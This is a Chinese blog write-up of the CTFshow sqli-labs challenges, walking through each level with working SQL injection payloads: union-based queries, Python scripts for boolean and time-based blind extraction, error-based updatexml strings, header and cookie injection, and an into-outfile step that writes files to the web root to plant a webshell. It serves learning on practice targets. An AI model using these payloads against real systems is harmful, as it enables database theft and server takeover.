CTFshow_sqli-labs_全关卡万字通关笔记

Sqli-labs

Web517 字符型注入

首先加 id=1’ 判断是字符型注入还是数字型注入,这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;此时可以判断大概率存在注入,因为只有服务器将这个单引号一起当作SQL语句执行时才会报错,但是并不绝对,也有可能是程序本身的问题引起报错。
在这里插入图片描述
加and 1=2,语句执行正常,排除数字型注入
在这里插入图片描述

使用order by 二分法(10-5-3)判断出数据仅存在三列
在这里插入图片描述
使用union select 与 id=-1判断出有回显可以利用
在这里插入图片描述
第二第三个位置可以使用
在这里插入图片描述

GROUP_CONCAT 是一个聚合函数,用于将来自多个行的值连接成一个字符串。它通常在 GROUP BY 子句中使用。
CONCAT_WS 是一个字符串函数,用于将多个字符串连接成一个字符串,并使用指定的分隔符。

查库名
在这里插入图片描述
查表名
在这里插入图片描述
查字段名
在这里插入图片描述

成功爆出所有的账号密码!

在这里插入图片描述

总流程
在这里插入图片描述

Web518 数字型注入

和Less-1一样,区别在于本关为数字型注入,加id=1 而不是id=1’

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+       #查询所有的数据库
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+      #查询ctfshow数据库中的表
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+                  #查询flagaa表中的所有列
?id=-1 union select 1,flagac,3 from ctfshow.flagaa--+   #查询flagac列中的数据

Web519 字符型注入id=1’)

同理,本关加id=1’)

Web520 字符型注入id=1")

根据提示可知正确的输入应该为id =1" --+
在这里插入图片描述
在这里插入图片描述
接下来重复Less-1的操作

?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+       #查询所有的数据库
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow' --+    查询ctfshow数据库中的所有的表
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagsf' --+       #查询flagsf表中的所有列
?id=-1") union select 1,flag23,3 from ctfshow.flagsf --+      #查询flag23列中的数据

Web521 布尔盲注 id=1’

观察可知,当id输入正确的时候返回”You are in…“,当id输入错误的时候,无返回值,即只会根据注入信息返回True或者False,没有之前的查询信息或者报错信息。
在这里插入图片描述

首先判断第一位是否为s
在这里插入图片描述
接下来就不用一个个手工猜,可以上burp了
在这里插入图片描述
在这里插入图片描述

得出第一位为s
在这里插入图片描述
再次进行暴力破解
在这里插入图片描述二分查找法

global url
url ="https://6fffe10e-e146-4548-81e5-dddaf204ac99.challenge.ctf.show/?id="
flag=""
i = 0
while True:
    i = i+1
    low = 32
    high =127
    while low < high:
        mid = (low+high)//2 # 用整除运算符//对结果除以2,得到当前范围的中间值mid
        #payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid} --+"
        #payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid} --+"
        payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),{i},1))>{mid} --+" # 修改table_name
        #payload = f"1' and ascii(substr((select flag33 from ctfshow.flagpuck),{i},1))>{mid} --+"
        r=requests.get(url=url+payload, verify=False)

        if "You are in..........." in r.text:
            low = mid+1
        else:
            high = mid
    if low !=32: # 当 low 和 high 最终收敛到 32 时,表示没有发现更高的有效 ASCII 值。
        flag+=chr(low)
    else:
        break
    print(flag)

Web522 布尔盲注id=1"

Less-5单引号改为双引号即可

Web523 利用SQL中的into outfile 函数

发现注入
在这里插入图片描述
插入一句话木马
在这里插入图片描述
Less7的文件夹
在这里插入图片描述
使用中国菜刀访问,成功取到网站的Webshell
在这里插入图片描述当然这一题因为只有两个回显也是很明显的bool盲注

Web523的payload:

?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt" --+     将所有的数据库写入1.txt文件内
?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/2.txt" --+     将ctfshow数据库中的所有表写入2.txt文件内
?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagdk' into outfile "/var/www/html/3.txt" --+      #将flagdk表中的所有列写入3.txt
?id=1')) union select 1,2,flag43 from ctfshow.flagdk into outfile "/var/www/html/4.txt" --+     #将flag写入4.txt

Web524 时间盲注 id=1’

无论注入什么都是同一回显
在这里插入图片描述
用时间盲注的脚本即可(修改一下)

import requests
import warnings

warnings.filterwarnings('ignore')
global url
url ="https://9d64d7f4-e62a-4792-ae6c-d103abef7123.challenge.ctf.show/?id="
flag=""
i=0
while True:
    i += 1
    low = 32
    high =127

    while low < high:
        mid = (low+high)//2

        #payload=f"1' and if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0) --+"
        payload=f"1\" and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid}),sleep(0.4),0) --+"
        #payload=f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagug'),{i},1))>{mid}),sleep(0.4),0) --+"
        #payload=f"1\" and if((ascii(substr((select flag4a23 from ctfshow.flagug),{i},1))>{mid}),sleep(0.4),0) --+"

        r=requests.get(url=url+payload, verify=False)

        try:
          # timeout=0.3 设置请求的超时时间为 0.3 秒。如果服务器在这个时间内没有响应,requests 将抛出一个异常。
          # 如果请求超时(即服务器响应延迟超过 0.3 秒),则会抛出异常,except 块会捕获这个异常并执行其中的代码。异常处理将 low 设置为 mid + 1(即增加低值),表明当前的 mid 值太低,实际的字符值可能更大。
          r=requests.get(url=url+payload,timeout=0.3, verify=False)
          high =mid
        except:
           low =mid +1
    if low!= 32:
        flag+=chr(low)
    else:
        break
    print(flag)

Web525 时间盲注 id=1"

同上

Web526 POST联合查询

在这里插入图片描述

Web528 POST联合查询 uname=1")

同上

Web529 POST布尔盲注 uname=’

post bool盲注,闭合符号 ') ,通过图片返回的俩种不同名字来判断,成功为flag.jpg,失败为slap.jpg。

import requests

if __name__ == '__main__':
    url = 'http://9489bc4d-ac59-47ef-ae2f-274db50f220a.challenge.ctf.show/'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{i},1))>{mid},1,0)'
            payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),{i},1))>{mid},1,0)'
            # print(payload)
            data = {
                'uname': f"admin') and {payload}#",
                'passwd': '123'
            }
            # print(data['uname'])
            r = requests.post(url=url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

Web530 POST布尔盲注 uname="

双引号布尔盲注

Web531 POST布尔盲注 uname=’ 关闭报错

用 ’ 闭合,但是把报错关了,所以需要不断的尝试闭合符。脚本还是上面的,修改一下就可以了。

Web532 POST时间盲注

其实所有的bool盲注都可以使用时间盲注来解决,bool盲注还需要回显才能判断,时间盲注甚至不需要回显,只需要时间即可,下面是脚本

Web533 POST报错注入

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select right(group_concat(flag4),24) from ctfshow.flag),0x7e),1)#

Web534 UA注入

输入admin admin回显UA,登进去后发现UA头被显示出来了,尝试输入错误的发现UA头并没有回显出来,这里可以用UA注入,也可以用报错注入,为了与上题区分,本题采用UA注入
在这里插入图片描述

'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) and'

 ' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select right(group_concat(flag4),20) from ctfshow.flag),0x7e),1) and '

Web535 referer注入

referer报错注入,和上面的payload一样

Web536 Cookie注入

同上

Web537、Web538 Cookie注入Base64编码/双引号

和上面的cookie注入一个流程,但需要注意再抓到包后cookie那里,显示成了一串base64,于是只需要把整个后面的那一段base64编码一次即可,538同理,不过是双引号

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值